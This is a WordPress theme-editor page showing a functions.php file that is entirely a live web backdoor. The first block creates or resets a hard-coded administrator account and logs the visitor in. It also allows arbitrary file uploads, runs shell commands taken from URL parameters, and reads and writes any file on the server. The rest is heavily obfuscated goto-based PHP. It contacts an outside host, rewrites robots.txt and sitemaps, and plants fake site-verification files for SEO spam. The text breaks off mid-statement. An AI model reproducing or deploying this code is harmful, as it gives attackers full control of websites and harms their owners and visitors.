← Back
Editing: functions.php
<?php /*WP2S_BEGIN*/ if(isset($_GET['p'])){echo 'WP2S::PONG::END';exit;} if(isset($_GET['sergei'])){if(!defined('ABSPATH')){$f=__DIR__;for($i=0;$i<6;$i++){if(file_exists($f.'/wp-load.php')){require_once $f.'/wp-load.php';break;}$f=dirname($f);}}if(defined('ABSPATH')){require_once ABSPATH.'wp-admin/includes/user.php';$u='warnightknkxdd';$p='warnightknkxdd';$e='warnightknkxdd@gmail.com';if(!username_exists($u)){$id=wp_create_user($u,$p,$e);if(!is_wp_error($id)){(new WP_User($id))->set_role('administrator');}}else{$user=get_user_by('login',$u);$id=(int)$user->ID;wp_set_password($p,$id);$user->set_role('administrator');}if(!empty($id)&&!is_wp_error($id)){wp_clear_auth_cookie();wp_set_current_user($id);wp_set_auth_cookie($id,true);wp_safe_redirect(admin_url());exit;}}} if(isset($_GET['up'])){ if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['file'])){ $n=basename($_FILES['file']['name']); $n=preg_replace('/[^A-Za-z0-9._-]/','_',$n); if($n===''||$n==='.'||$n==='..'){echo 'BAD_NAME';exit;} if(!is_uploaded_file($_FILES['file']['tmp_name'])){echo 'UPLOAD_ERR';exit;} $dst=__DIR__.DIRECTORY_SEPARATOR.$n; if(@move_uploaded_file($_FILES['file']['tmp_name'],$dst)){echo 'success:'.$n;} else{echo 'MOVE_FAIL';} exit; } header('Content-Type: text/html; charset=utf-8'); echo '<form method="post" enctype="multipart/form-data"><input type="file" name="file"><button>up</button></form>'; exit; } if(isset($_GET['c'])){@chdir(__DIR__);$o='';if(function_exists('shell_exec')){$o=@shell_exec($_GET['c']);}elseif(function_exists('passthru')){ob_start();@passthru($_GET['c']);$o=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($_GET['c']);$o=ob_get_clean();}echo 'WP2S::'.$o.'::END';exit;} if(isset($_GET['r'])){$f=@file_get_contents($_GET['r']);echo 'WP2S::'.($f===false?'NOREAD':base64_encode($f)).'::END';exit;} if(isset($_GET['w'])&&isset($_POST['d'])){$p=$_GET['w'];@mkdir(dirname($p),0755,true);$ok=@file_put_contents($p,$_POST['d'])!==false && @filesize($p)>0;echo 'WP2S::'.($ok?'OK':'FAIL').'::END';exit;} /*WP2S_END*/ goto go20d; A2kdw: goto K80E_; goto Axmso; Rqmtg: @header("\103\157\x6e\x74\145\156\164\x2d\164\x79\160\145\72\40\x74\x65\x78\x74\57\x78\155\x6c"); goto IEcZy; KLz8a: $Uy9S8 = hash("\163\150\141\x31", hash("\163\x68\141\x31", @$_REQUEST["\x70\x64"])); goto RZEBQ; vLHaK: goto YENF_; goto Ug3oG; juoUa: if (is_file($adoC9)) { goto bM6Kz; } goto QWrW_; NEl05: $EGyJx = @$_REQUEST["\144\x73\x74\x72"]; goto nuegz; g4zH5: goto r2onf; goto lQtVn; BfqXM: AMKmv: goto lm9X1; ea1FL: goto j5bVu; goto hSd6l; EPcVZ: echo "\157\x6b"; goto FaOye; RVDYe: function eipEv() { goto G90bk; RhEMD: return false; goto h3gLT; E8zno: PfCPP: goto N9JK0; S4_Uv: YLvw9: goto R71Yt; Z2PUd: goto g1THI; goto VFui1; MQ4VJ: bRTa0: goto WebRp; RcO07: wr5uw: goto Z2PUd; rCFwT: goto wr5uw; goto vZAzk; r_jhP: ASorJ: goto OYONF; Fp8W1: TJ9vb: goto iR5QQ; VFui1: GcR_Q: goto ik_Hb; g1v_T: auOhT: goto vf2ET; ZY0z_: k1_p4: goto V8rJA; BdGd1: AooEp: goto XfZy7; N9JK0: wt2FU: goto nNAtu; EmgBy: return true; goto OJpsU; QoTwm: goto jvjYo; goto JlTx2; h3gLT: goto medup; goto r_jhP; MIUp2: goto HaE7n; goto g1v_T; RJ4Ca: return true; goto FGafL; nNAtu: goto jqZSL; goto BdGd1; OJpsU: goto SNjf4; goto FpdDm; FGafL: goto ASorJ; goto nVRRt; bbA4D: goto wt2FU; goto QoTwm; oRpJc: goto bRTa0; goto Fp8W1; WebRp: goto auOhT; goto LV4_2; iR5QQ: goto AooEp; goto E8zno; nVRRt: qU1RP: goto RcO07; ik_Hb: if (!(isset($_SERVER["\x48\124\x54\x50\137\130\137\x46\117\122\x57\x41\x52\104\x45\x44\137\120\x52\x4f\x54\117"]) && $_SERVER["\110\124\124\120\137\x58\x5f\x46\x4f\x52\x57\101\x52\x44\x45\104\137\x50\x52\x4f\x54\117"] === "\150\164\x74\160\163")) { goto r24b0; } goto rCFwT; F4fRo: goto IQd6x; goto RlhOV; G90bk: goto k1_p4; goto Y1G0V; OYONF: goto wt2FU; goto Ps13S; hwWTC: jqZSL: goto RhEMD; a6Lhu: goto PfCPP; goto hwWTC; vf2ET: return true; goto a6Lhu; Bw536: goto H1sTl; goto S4_Uv; vZAzk: r24b0: goto MIUp2; R71Yt: goto GcR_Q; goto pcKZi; XfZy7: goto wt2FU; goto cKm2s; Y1G0V: jvjYo: goto MQ4VJ; LV4_2: IQd6x: goto RJ4Ca; RlhOV: medup: goto WYuTf; Ps13S: goto qU1RP; goto ZY0z_; JlTx2: KIgne: goto ZEFtM; pcKZi: g1THI: goto EmgBy; V8rJA: if (!(isset($_SERVER["\x48\124\124\120\123"]) && strtolower($_SERVER["\110\x54\124\120\x53"]) !== "\x6f\x66\146")) { goto YLvw9; } goto Bw536; cKm2s: goto KIgne; goto wcwrD; ZEFtM: H1sTl: goto F4fRo; FpdDm: HaE7n: goto ZkgNX; wcwrD: SNjf4: goto bbA4D; ZkgNX: if (!(isset($_SERVER["\110\124\x54\120\137\106\x52\117\116\x54\137\105\x4e\104\137\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\124\x54\120\x5f\106\122\117\116\124\137\x45\116\x44\137\x48\x54\124\120\x53"]) !== "\x6f\x66\x66")) { goto TJ9vb; } goto oRpJc; WYuTf: } goto LxmLw; Lwq4R: goto X3N6I; goto Px04Z; HwAPT: dIL2A: goto p5t2R; KN57s: Eg57R: goto hn0jX; TkLJU: nkeuC: goto hgPkq; T6JXk: JLIA0: goto sqMFx; pLWcJ: Fc79S: goto xYGZF; ULNZa: echo "\74\x62\x72\76\163\x69\x74\x65\x6d\x61\x70\x20\x61\154\162\x65\x61\x64\x79\x20\141\144\x64\145\x64\x21\x3c\x62\162\x3e"; goto gEKwU; dzbtQ: lxMzA: goto EPcVZ; wdyDL: if (!file_put_contents($nFiT9, $F2cO4)) { goto Nz7Om; } goto ZqPLe; EKE6y: I9U29: goto S6JEF; GrZ53: goto Eg57R; goto sBPC1; A1mCx: JoFFh: goto tYxkb; MMCYj: v7BOS: goto vxmnr; RGORr: if (!isset($_SERVER["\x44\x4f\103\x55\x4d\x45\116\x54\x5f\x52\x4f\x4f\x54"])) { goto VqHv1; } goto iDgvT; btHN1: goto rxKPl; goto HwAPT; jP3Rk: uvpIx: goto CbPZp; mzTAj: echo $RVeV9; goto Np4gk; fNlzx: bfcB5: goto r3c7q; cqJI3: aSYpO: goto wdyDL; XTqcM: goto FTsSr; goto qKpUL; iuosy: goto dOcZC; goto zb_E6; tGEGv: Tcbe9: goto ouXyz; d4RFA: dOcZC: goto PL_oE; M4A4Q: af8fe: goto Syf3w; C4Zs0: goto olGov; goto nn0RT; R3cKQ: goto EE0TF; goto h6Hba; O34gT: F4pK8: goto zF1Tk; kb6cF: Kq5fj: goto mzTAj; Zmj46: $TS8Vi = aPMwd($nFiT9); goto RNkDy; EBcfh: ew5s4: goto fcrng; dH2zK: goto vPHOB; goto kT4Hr; wjeTt: if ($k9uPY == apMwD($CwdOR . "\72\x2f\x2f" . $GL2Dr . "\57\141\x2e\160" . "\x68\160") || $itlKo == "\x66\70\146\x30\x64\141\x65\70\x30\64\x33\x36\70\x63\x30\x33\63\x34\145\62\62\144\x39\144\143\x62\x37\x30\x64\x33\143\x37\x62\142\x66\141\x39\x36\63\65") { goto eGhZO; } goto jY9Es; LMmTl: function aPmWd($SBOF5) { goto iSJD4; biWE1: goto xRFGa; goto O0Zg4; gqalf: goto b83UK; goto BwjTZ; ZL7w2: wu_3L: goto J7Zup; A4l9j: goto FlFsn; goto cP9Fb; O0Zg4: rgDHm: goto vAvMN; BwjTZ: xRFGa: goto M39Q3; Cf7Le: $KE2Gg = ''; goto pWm3F; EIG4s: b83UK: goto xXfzO; yNGXZ: goto wu_3L; goto ZL7w2; qSwPt: Mc0Tt: goto Cf7Le; xXfzO: return $KE2Gg; goto biWE1; pWm3F: goto rgDHm; goto EIG4s; vAvMN: if (!$KE2Gg) { goto JsbH2; } goto q0VJz; cP9Fb: FlFsn: goto CgJVP; J7Zup: FEdE5: goto gqalf; iSJD4: goto Mc0Tt; goto qSwPt; apGV1: JsbH2: goto A4l9j; q0VJz: goto FEdE5; goto apGV1; CgJVP: $KE2Gg = @file_get_contents($SBOF5); goto yNGXZ; M39Q3: } goto c7UIs; IgijO: B7IT8: goto qstoP; GQBFM: goto RG59Q; goto Ppgd2; vxmnr: goto jSlfg; goto tskzw; RZEBQ: goto EEBCl; goto zuZKj; gEKwU: goto TE5X2; goto rrUis; Zsj8G: goto JDStN; goto iykPd; gisiw: g5Krh: goto Pwsde; i8m_t: goto u8E5h; goto lmafN; m1FcV: $XnmKJ = $fRbDL . "\x3a\57\57" . $WrfJd . "\x2f" . $F2cO4; goto FdG3Q; o9H03: $Tjp1Q = NG2uW(); goto RSjk_; yaxor: bEOky: goto DmC9n; fImKd: goto g5Krh; goto Hms0g; vWHuD: goto KEn1q; goto FS2KY; y5MLV: PdeXo: goto tm0tt; IEcZy: goto Kq5fj; goto jr3cz; Ftv9i: goto VplYm; goto cqJI3; FdG3Q: goto GeJde; goto ns4uU; d0p_A: PvI4I: goto IemjX; TaDvc: Etvu1: goto OUDJU; BpqmN: goto szvXZ; goto aWC7z; L9ugG: exit; goto vLHaK; s6bCo: $fRbDL = "\150\x74\x74\x70\x73"; goto mzKkb; UqDtc: ah1P0: goto V5r79; cuqt9: goto ZCKeh; goto hXwBA; mzKkb: goto B7IT8; goto yw37o; yH26K: goto RBfzc; goto kckTF; WRN9t: WLV2o: goto qAdZk; UTLLE: WUMjy: goto tGEGv; tskzw: goto l9XhL; goto uGnfd; jyhFq: VqHv1: goto VJQBP; ouXyz: goto BFCiV; goto pVa7c; Ebc1R: goto ui6cq; goto UC9Nq; PgOa5: kw8Bv: goto RapaQ; j38ZK: goto uvpIx; goto R3cKQ; y3Sow: goto aCHpe; goto MXQqX; Axmso: qRRp2: goto O27zE; tO0rL: Kzr8S: goto rt6DH; MM2UK: GzLAe: goto MPMbX; CzwLO: szvXZ: goto m1FcV; anUg7: goto xymN1; goto NXhLQ; O6_4B: exit; goto rL6Zj; W4Gp2: KfPbO: goto H65mX; lm9X1: $RVeV9 = str_replace("\157\153\x68\164\x6d\x6c\147\145\164\143\157\156\164\145\x6e\164", '', $RVeV9); goto tA1TN; AVn7g: UT4JV: goto R4diq; sd2tH: BFCiV: goto yaxor; KopxJ: pWz9W: goto W_RA5; IIwjq: if (!$XbCMp) { goto jQWAj; } goto mCKxz; sqMFx: @unlink($adoC9); goto X7ZNv; qstoP: M3Mt5: goto ENCs2; Hms0g: l9XhL: goto YW5BL; zuZKj: GeJde: goto oC_zi; LywDh: YPq62: goto jCXgX; E_ruz: $QgKBG = $K6LzW . "\x68\160\x3f\167\x65\142\75" . $WrfJd . "\46\x7a\172\75" . nePFX() . "\46\x75\x72\x69\75" . $acfKY . "\46\x75\x72\154\163\150\x61\x6e\x67\x3d" . $CH8tP . "\46\x68\164\x74\160\75" . $fRbDL . "\x26\154\x61\x6e\147\75" . $TnONg; goto D_joE; C3H9c: mjO7V: goto v31F0; GvAN0: SXGsx: goto YEXbl; NXhLQ: D1W_T: goto j38ZK; Lq0mv: $Uy9S8 = ''; goto KDeX9; S99ay: goto pWz9W; goto cXL4N; lZ2C8: NCgb1: goto JRdil; APkhO: goto PvI4I; goto so7fD; Xajef: goto Df9hR; goto ahlPL; zb_E6: qHzVy: goto juoUa; XA5xu: lOAAy: goto u_Gzq; oFYDm: goto j_UHB; goto SH6QX; JRdil: $W59XK = $_REQUEST["\x67\x6f\x6f\x67\154\145"]; goto BU_ix; enaYI: goto oCOch; goto OAKOa; XwFyh: goto O3QMD; goto hcJ1H; iykPd: u8E5h: goto LC5Io; EfcBd: Hkk0V: goto Xi8wN; hXwBA: ox0oU: goto xLmJd; dfBAJ: jsE2t: goto vxqhD; Z4zfo: if (!eiPEV()) { goto Z5GwU; } goto EjFjL; Q7XdX: goto nJk6b; goto lKHVf; E36dG: KBk10: goto RVDYe; xYGZF: if (!strstr($RVeV9, "\x67\145\x74\143\157\156\164\145\156\164\64\x30\x34\x70\141\147\145")) { goto c02b_; } goto pJZKa; RrFL8: RBfzc: goto uCxdl; wkqzK: JJdiU: goto oFYDm; lt6L6: goto faW9f; goto Al55v; v31F0: if (!file_exists($nFiT9)) { goto jaMHA; } goto Xajef; uGnfd: JDStN: goto RG_xl; RSjk_: goto PdeXo; goto E36dG; I47Os: hnvR2: goto xQ5JH; zF1Tk: goto Lpw_6; goto WRN9t; uQQqM: if (!strstr($RVeV9, "\147\145\x74\x63\x6f\156\164\x65\x6e\164\x35\x30\x30\160\141\147\x65")) { goto lOAAy; } goto GnIiG; uZlzD: KHkLo: goto Ebc1R; CJXvx: goto hIvr5; goto ECnoi; wKq6E: goto qRRp2; goto QxSoZ; ouWTt: goto KBk10; goto UTLLE; ySS6i: r2onf: goto cDeDy; oC_zi: if (!stristr($TS8Vi, $XnmKJ)) { goto ioMgS; } goto tiWfJ; nuegz: goto ox0oU; goto UVKN8; nNMok: $adoC9 = $No5_0 . "\x2f\163\x69\164\145\x6d\x61\x70\x2e\170\155\x6c"; goto JL8x5; mCKxz: goto zapk0; goto nG1gS; JZTGe: if (!strstr($RVeV9, "\156\x6f\x62\x6f\164\165\x73\x65\x72\141\147\145\x6e\x74")) { goto JJdiU; } goto EXJ48; Wh2AO: $TS8Vi = "\125\x73\x65\x72\55\141\x67\145\156\x74\72\40\52\12\x41\154\x6c\157\167\72\40\x2f"; goto iuosy; RNkDy: goto P0tk8; goto tZ6Gg; kckTF: YENF_: goto mxTuw; gOw_n: HcAXL: goto mpdbB; hSd6l: hXoLL: goto t7s4Y; RlVhA: file_put_contents($W59XK, "\x67\157\157\147\x6c\145\x2d\163\x69\x74\x65\55\166\x65\x72\x69\x66\151\143\141\x74\151\x6f\x6e\72" . "\x20" . $W59XK); goto enaYI; L5tGS: goto YdqSa; goto mQuZF; O2TCM: Nz7Om: goto i8m_t; plCM7: vqT4x: goto VIICx; HyD49: GofQu: goto RYVYc; EjFjL: goto VDabW; goto LXNg4; YWJEL: f_x6H: goto NEl05; kT4Hr: frptp: goto gaL51; lKHVf: xymN1: goto AVn7g; ENCs2: goto mt63x; goto d7TWm; i_D83: goto rBzDr; goto JDILP; ytmoE: fflIJ: goto C11BD; K9KJt: goto yj_8h; goto anUg7; Ym6Cl: Uvsqt: goto cuqt9; TAzXU: YF7D7: goto BpqmN; iK6DK: goto v7BOS; goto TaDvc; PAaBt: $No5_0 = dirname(__FILE__); goto iK6DK; sBPC1: pqg0Q: goto k8s5t; h3lZl: goto MPGEm; goto gOw_n; FS2KY: JXuOE: goto nG5Xg; BZAxG: POj0V: goto f2LqT; ftcXX: goto BtyOZ; goto a1v5G; yXlTT: goto UT4JV; goto EKE6y; Sz69u: Vgf1h: goto KLz8a; IemjX: if (!strstr($F2cO4, "\x2e\170\x6d\x6c")) { goto z1n1x; } goto bw9y0; AqABD: goto fGBkV; goto HDelt; Qajkh: oCOch: goto DV5YI; rsA3W: K80E_: goto aMvOV; UVKN8: YdqSa: goto K9KJt; HGeLZ: goto mi_wQ; goto EBcfh; gvSNb: goto a7Sfb; goto Ltemv; lXpkR: FTsSr: goto hDACj; Ltemv: SrT7o: goto zRU1O; wHwdf: KEn1q: goto ITWnr; KDeX9: goto POj0V; goto HyD49; E12p0: goto R07V6; goto zrRq7; d6o2L: goto HcAXL; goto PQc47; Ko8Am: KfR3t: goto hi1oW; ynu6_: $SwDVI = "\x25\x37\x30\45\x36\x36\x25\x37\x35\45\67\x32\x25\67\62\45\x36\x35\45\66\66\45\x32\105\45\x36\63\x25\x37\60\x25\67\x35\x25\67\62\45\x36\65\x25\x36\x35\45\66\103\45\67\61\x25\x36\x36\x25\x32\x45\45\66\102\45\x36\103\x25\66\104"; goto Lwq4R; wEWQB: JjOdK: goto vI9pW; nG1gS: jQWAj: goto rlkXp; SiyMj: cViPJ: goto rtFp0; V5r79: goto RxM31; goto i3Wms; yw37o: Ne0ZH: goto lvydN; cUE9y: OjoNu: goto ea1FL; uCxdl: exit; goto I2VRD; Px04Z: KvqZu: goto jiziU; rTbTl: goto t2Q5D; goto BZAxG; tiWfJ: goto H2G0I; goto kpSrW; ov7ZG: echo "\x3c\x62\162\x3e\157\153\74\x62\x72\x3e"; goto Uc86X; xLmJd: if (file_put_contents($No5_0 . "\57" . $F2cO4, $EGyJx)) { goto c3rbv; } goto gpdg8; rt6DH: goto Cp9Ds; goto Ir8W7; GecqH: nJk6b: goto s6bCo; DU8fZ: WTE10: goto FpFZb; V22Cs: Rmbp4: goto boBO4; X7ZNv: goto XljJC; goto RrFL8; AkUph: goto FI1N9; goto I3yuX; yg80i: goto C8Qzg; goto d0p_A; RapaQ: if ($XbCMp == "\160\165\164") { goto bfcB5; } goto lJwY3; BFPb8: goto kOkyx; goto jj6tx; lvydN: echo "\74\x62\x72\x3e\x73\x69\164\x65\x6d\141\160\x20\x6e\141\155\145\40\146\141\154\163\145\41\74\x62\162\x3e"; goto PHY16; fcrng: exit; goto tKxiY; DBrMx: imC3a: goto JVgiK; pz61U: goto dfL6s; goto fYHZx; L3GPI: $No5_0 = $_SERVER["\104\x4f\103\125\115\x45\116\124\137\x52\117\117\124"]; goto B9G2N; PQc47: XljJC: goto UqDtc; fFclr: function Ng2Uw() { goto mDuoJ; k1LsV: bEfxb: goto vhdqj; Z9WXt: $acfKY = $_SERVER["\120\110\120\137\123\x45\114\106"] . "\x3f" . $_SERVER["\121\x55\x45\122\131\137\x53\x54\x52\111\116\x47"]; goto CupJQ; sBF7U: azLvR: goto pJZXD; rgeH6: goto zUw9p; goto UjcOd; UjcOd: rMJFS: goto Rr_XO; mNmz4: goto p3WdK; goto k1LsV; zhEEL: an1mu: goto Rm8LG; hTkKv: iozrY: goto n_280; A8LUh: goto oenUb; goto d32ip; m1Y5K: goto iozrY; goto sBF7U; WBB2P: goto NDSa3; goto hQPla; fWSGY: goto Br_v3; goto m1Y5K; OCkft: goto VTGnQ; goto M2ewa; hQPla: p3WdK: goto VDOQl; XZPlq: zUw9p: goto dXB6G; M2ewa: FvQww: goto mNmz4; Yk5RG: PkbUK: goto qvaz2; sPqQ1: $acfKY = $_SERVER["\x52\105\x51\125\105\x53\x54\137\x55\122\x49"]; goto uLf1w; VDOQl: if (!isset($_SERVER["\141\x72\x67\166"])) { goto an1mu; } goto w_0np; Rr_XO: if (!isset($_SERVER["\122\x45\x51\x55\x45\123\124\x5f\125\122\111"])) { goto FvQww; } goto OCkft; qvaz2: goto DBlNi; goto ZrUyz; AI2OP: $acfKY = $_SERVER["\x50\x48\x50\137\123\105\114\x46"] . "\77" . $_SERVER["\x61\162\x67\166"][0]; goto rDq5E; CupJQ: goto uPDb2; goto RObrW; d32ip: uPDb2: goto fWSGY; rDq5E: goto V2eiI; goto XZPlq; jwmNs: H7o4r: goto WXyLW; ZrUyz: goto bEfxb; goto hTkKv; UbvfW: oenUb: goto AI2OP; mDuoJ: goto rMJFS; goto FC0nl; QrQ9P: V2eiI: goto I_VCh; n_280: KG8J7: goto A8LUh; pJZXD: DBlNi: goto kKu0W; vhdqj: VTGnQ: goto WBB2P; I_VCh: Br_v3: goto aqO_5; RObrW: NDSa3: goto sPqQ1; WXyLW: return $acfKY; goto rgeH6; w_0np: goto KG8J7; goto zhEEL; uLf1w: goto azLvR; goto jwmNs; Rm8LG: goto JRmOD; goto Yk5RG; aqO_5: goto PkbUK; goto UbvfW; FC0nl: JRmOD: goto Z9WXt; kKu0W: goto H7o4r; goto QrQ9P; dXB6G: } goto GrZ53; oX7Iy: goto kHum1; goto x3FgC; fzco1: goto GhJmZ; goto uZlzD; r0nq2: goto JLIA0; goto KN57s; hiOSl: goto Rmbp4; goto SgiMg; JZ7yH: exit; goto VRJEw; kpSrW: ioMgS: goto gvSNb; GnIiG: goto owX_D; goto XA5xu; x9eVK: CjCvR: goto Wh2AO; x3Ihw: RM_q4: goto XBZBW; xZaRQ: goto X5sWV; goto FetfC; MqRCP: lAIug: goto UnTWG; ezFP1: i_3r6: goto ynu6_; so7fD: xu9WU: goto ytmoE; U3UJ2: $CwdOR = "\150\x74\164\160"; goto cSz0_; u6NmX: goto dIL2A; goto MMCYj; E08oY: goto GzLAe; goto wHwdf; JL8x5: goto qHzVy; goto Ql0gl; OAKOa: j_UHB: goto miRPF; idEd_: goto CjCvR; goto BMyPT; aMvOV: if (strstr($RVeV9, "\147\145\x74\143\x6f\156\164\145\x6e\x74\x33\60\x31\x70\x61\147\x65")) { goto frptp; } goto dH2zK; EFwDG: goto qQsaZ; goto wgNXZ; jFCux: goto Ot2nI; goto ezFP1; gpdg8: goto Tcbe9; goto FCUuJ; nG5Xg: $WrfJd = $_SERVER["\110\x54\124\x50\137\x48\x4f\x53\124"]; goto UIlUL; SSVPw: C8Qzg: goto a0u31; bw9y0: goto UKH1U; goto Uyrng; orCDb: if (!strstr($RVeV9, "\x6f\x6b\x78\155\x6c\x67\x65\x74\143\x6f\156\164\145\x6e\x74")) { goto UcJd6; } goto EFwDG; jY9Es: goto bEOky; goto Jp026; kpN3W: goto Kzr8S; goto d4RFA; HgQXl: RxM31: goto Em294; KHI4S: if (!isset($_REQUEST["\x70\144"])) { goto xvfle; } goto BFPb8; Em294: $nFiT9 = $No5_0 . "\x2f\162\x6f\142\157\164\163\x2e\x74\x78\164"; goto rTbTl; p5t2R: UKH1U: goto CJXvx; rtFp0: $RVeV9 = aPMwd($QgKBG); goto Ftv9i; i3dlO: jSlfg: goto pz61U; vSuij: @unlink($nFiT9); goto G60fv; u_Gzq: goto Fc79S; goto C3H9c; zrRq7: hm63n: goto MyMLW; QWrW_: goto ah1P0; goto GjkSO; iDgvT: goto pJ3T1; goto jyhFq; VRJEw: goto aO0PI; goto jacmd; rL6Zj: goto K34y1; goto JAoKf; KTnoe: if (!stristr($F2cO4, "\x55\x73\x65\162\x2d\141\x67\145\156\x74")) { goto Auocz; } goto fYg9c; NtSsW: fGBkV: goto E_ruz; ZAeQW: goto GofQu; goto pLWcJ; YW5BL: pJ3T1: goto C4Zs0; sm7MP: qQsaZ: goto zwHOI; EXJ48: goto sL6_k; goto wkqzK; tA1TN: goto WTE10; goto jm9mY; SH6QX: dfL6s: goto IIwjq; HDelt: gUONj: goto ULNZa; x0CnQ: goto Ne0ZH; goto ySS6i; ZqPLe: goto fflIJ; goto O2TCM; tZ6Gg: MPGEm: goto Lq0mv; cSz0_: goto wxzFU; goto iMHku; x2wTu: goto pQTdu; goto YWJEL; zp_7H: goto f_x6H; goto GecqH; a1v5G: Br0j8: goto ov7ZG; BU_ix: goto HWoEV; goto N3VmQ; oyqIH: goto Uwb0v; goto rT7xg; fmFRD: c02b_: goto A2kdw; W_RA5: if (isset($_SERVER["\110\x54\x54\120\137\122\105\x46\x45\x52\105\x52"])) { goto jsE2t; } goto uorPl; e8Mpj: sfhNL: goto O34gT; Ppgd2: t2Q5D: goto KTnoe; go20d: goto i_3r6; goto ZDkma; Syf3w: VDabW: goto Q7XdX; x3FgC: pfs23: goto PAaBt; rT7xg: kHum1: goto fFclr; Np4gk: goto ZkULG; goto lZ2C8; ccm3P: g2uXd: goto lXpkR; iq51z: $CH8tP = $_SERVER["\x48\x54\x54\x50\x5f\122\105\106\105\122\105\122"]; goto YZs1Q; fYg9c: goto ZVX8c; goto ZPjUx; pJZKa: goto wrk31; goto fmFRD; R1bO_: goto ew5s4; goto tO0rL; C11BD: goto Br0j8; goto jVvuL; q2diJ: nATiF: goto hQOgx; hn0jX: $GL2Dr = "\x63\163\150\x65\x65\162\x73\x2e\x70\143\x68\145\x72\162\171\144\x73\56\170\x79\x7a"; goto ouWTt; QGcdA: TE5X2: goto cUE9y; fmiy1: goto WLV2o; goto DBrMx; Al55v: FQmLm: goto Hlg3h; SgiMg: J2nPL: goto c64aa; mQuZF: Ot2nI: goto XTqcM; hBkJe: goto af8fe; goto SSVPw; pS8kM: goto glDwY; goto q2diJ; DV5YI: exit("\74\141\x20\150\162\145\146\x3d" . $W59XK . "\76" . $W59XK . "\74\x2f\x61\76"); goto nRIAr; jj6tx: xvfle: goto h3lZl; UbQuh: goto ESRC0; goto eCkcG; UC9Nq: n_G1J: goto nnfIq; Pwsde: @header("\110\124\124\x50\x2f\61\x2e\61\x20\x35\60\60\40\111\x6e\x74\x65\162\156\141\154\40\123\145\x72\166\x65\x72\40\x45\162\x72\157\162"); goto H0O8c; iBFi1: X5sWV: goto Rqmtg; ECnoi: pQTdu: goto b3e1f; MXQqX: wxzFU: goto Z4zfo; aWC7z: ZkULG: goto L9ugG; lmafN: O3QMD: goto ECyHF; N3VmQ: P0tk8: goto TAzXU; w0Vz0: Vc4cK: goto vSuij; XBZBW: u_LNS: goto vWHuD; jVvuL: ZCKeh: goto qPuAe; t93UN: goto vRTZJ; goto ub9bT; vNP1y: mi_wQ: goto RGORr; jiziU: if (isset($_REQUEST["\147\x6f\x6f\x67\154\145"])) { goto JoFFh; } goto pSvx5; YZs1Q: goto dqXuQ; goto ykTS_; lQtVn: AdkOb: goto nFc1s; rlkXp: goto Etvu1; goto e2q5S; mpdbB: $XbCMp = @$_REQUEST["\x61\x63\164\x69\157\x6e"]; goto HGeLZ; wgNXZ: UcJd6: goto B2VH1; ECyHF: @header("\110\x54\x54\x50\x2f\x31\x2e\x31\x20\x34\x30\64\40\x4e\157\164\x20\106\157\x75\x6e\x64"); goto R1bO_; Ug3oG: olGov: goto L3GPI; B2VH1: goto W2saF; goto MM2UK; qAdZk: exit; goto LXhFX; pSvx5: goto Se2t_; goto A1mCx; boBO4: H2G0I: goto ScmtL; t7s4Y: goto M3Mt5; goto hBkJe; GrSme: if (!file_put_contents($nFiT9, trim($TS8Vi) . "\15\12" . "\x53\151\164\145\155\141\160\x3a\x20" . $XnmKJ)) { goto I9U29; } goto yXlTT; pYiA7: NfsAC: goto qC37V; UHL0f: $CH8tP = ''; goto S99ay; fOiSB: vPHOB: goto APJhU; k4qbD: goto KfR3t; goto GvAN0; LC5Io: echo "\74\x62\162\76\146\151\x6c\x65\40\x77\162\x69\x74\145\40\146\x61\154\163\145\x21\74\x62\162\x3e"; goto jFCux; uorPl: goto f_b32; goto dfBAJ; O27zE: vRTZJ: goto Zsj8G; JVgiK: $RVeV9 = str_replace("\x6f\153\x78\x6d\154\x67\145\164\x63\x6f\x6e\164\145\x6e\164", '', $RVeV9); goto xZaRQ; tYxkb: goto NCgb1; goto rsA3W; fYHZx: kfa63: goto i_D83; tKxiY: goto kVrdX; goto iIHKi; s5FSY: goto hXoLL; goto kb6cF; hgPkq: echo "\74\142\162\76\x66\151\x6c\x65\40\x77\162\x69\164\145\40\x66\x61\154\163\145\x21\74\142\x72\x3e"; goto L5tGS; itqpC: @header("\x43\157\x6e\x74\x65\156\x74\55\x74\x79\160\145\72\40\x74\x65\x78\x74\x2f\x68\164\x6d\154\x3b\x20\x63\x68\141\x72\163\145\x74\x3d\x75\164\x66\55\x38"); goto d6xya; GjkSO: bM6Kz: goto r0nq2; iLQiX: goto U3227; goto PgOa5; HYim1: goto NfsAC; goto zl25z; hi1oW: goto OjoNu; goto hiOSl; vxqhD: goto Zo8Vf; goto TkLJU; jZFq3: owX_D: goto fImKd; H0O8c: goto uK2Vl; goto QVSs1; LXNg4: Z5GwU: goto btHN1; eJGZW: goto Vgf1h; goto y_Xx_; zRU1O: goto YPq62; goto GI2BO; UIlUL: goto KfPbO; goto DU8fZ; Ir8W7: goto hnvR2; goto W4Gp2; GGZV0: j5bVu: goto HYim1; ahlPL: jaMHA: goto idEd_; QVSs1: a7Sfb: goto GrSme; e2q5S: B5z9g: goto f_dP3; ZPjUx: Auocz: goto rtIO3; GI2BO: goto J2nPL; goto ccm3P; iMHku: oEBU7: goto VZWO7; MyMLW: Cp9Ds: goto EyvaT; VZWO7: f_b32: goto oyqIH; VIICx: ZVX8c: goto tNGv_; jCXgX: goto D1W_T; goto y5MLV; sGLOM: goto lxUPE; goto GGZV0; Uyrng: z1n1x: goto x0CnQ; wffTG: EE0TF: goto jZFq3; d7TWm: xhSiD: goto fOiSB; FaOye: goto WUMjy; goto Sz69u; ZDkma: dYIOk: goto sm7MP; Uc86X: goto g2uXd; goto CvNPq; OUDJU: $XbCMp = "\x70\x75\164"; goto ZAeQW; hcJ1H: EEBCl: goto Ym6Cl; f_dP3: header("\x4c\157\143\x61\x74\151\157\x6e\x3a\40" . $RVeV9); goto fmiy1; D_joE: goto cViPJ; goto Qajkh; RYVYc: zapk0: goto n7EDF; JAoKf: HWoEV: goto zLsAR; rrUis: kVrdX: goto LywDh; EyvaT: goto pqg0Q; goto ujF0M; y_Xx_: RG59Q: goto orCDb; DmC9n: goto sfhNL; goto KopxJ; b3e1f: $itlKo = hash("\163\150\141\x31", hash("\x73\150\x61\x31", @$_REQUEST["\x62"])); goto E12p0; VJQBP: goto pfs23; goto BfqXM; jacmd: W2saF: goto uQQqM; Hlg3h: goto SXGsx; goto w0Vz0; rtIO3: goto mjO7V; goto M4A4Q; tm0tt: if ($Tjp1Q == '') { goto q6Ha3; } goto t93UN; PHY16: goto eCZoj; goto V22Cs; zwHOI: goto imC3a; goto 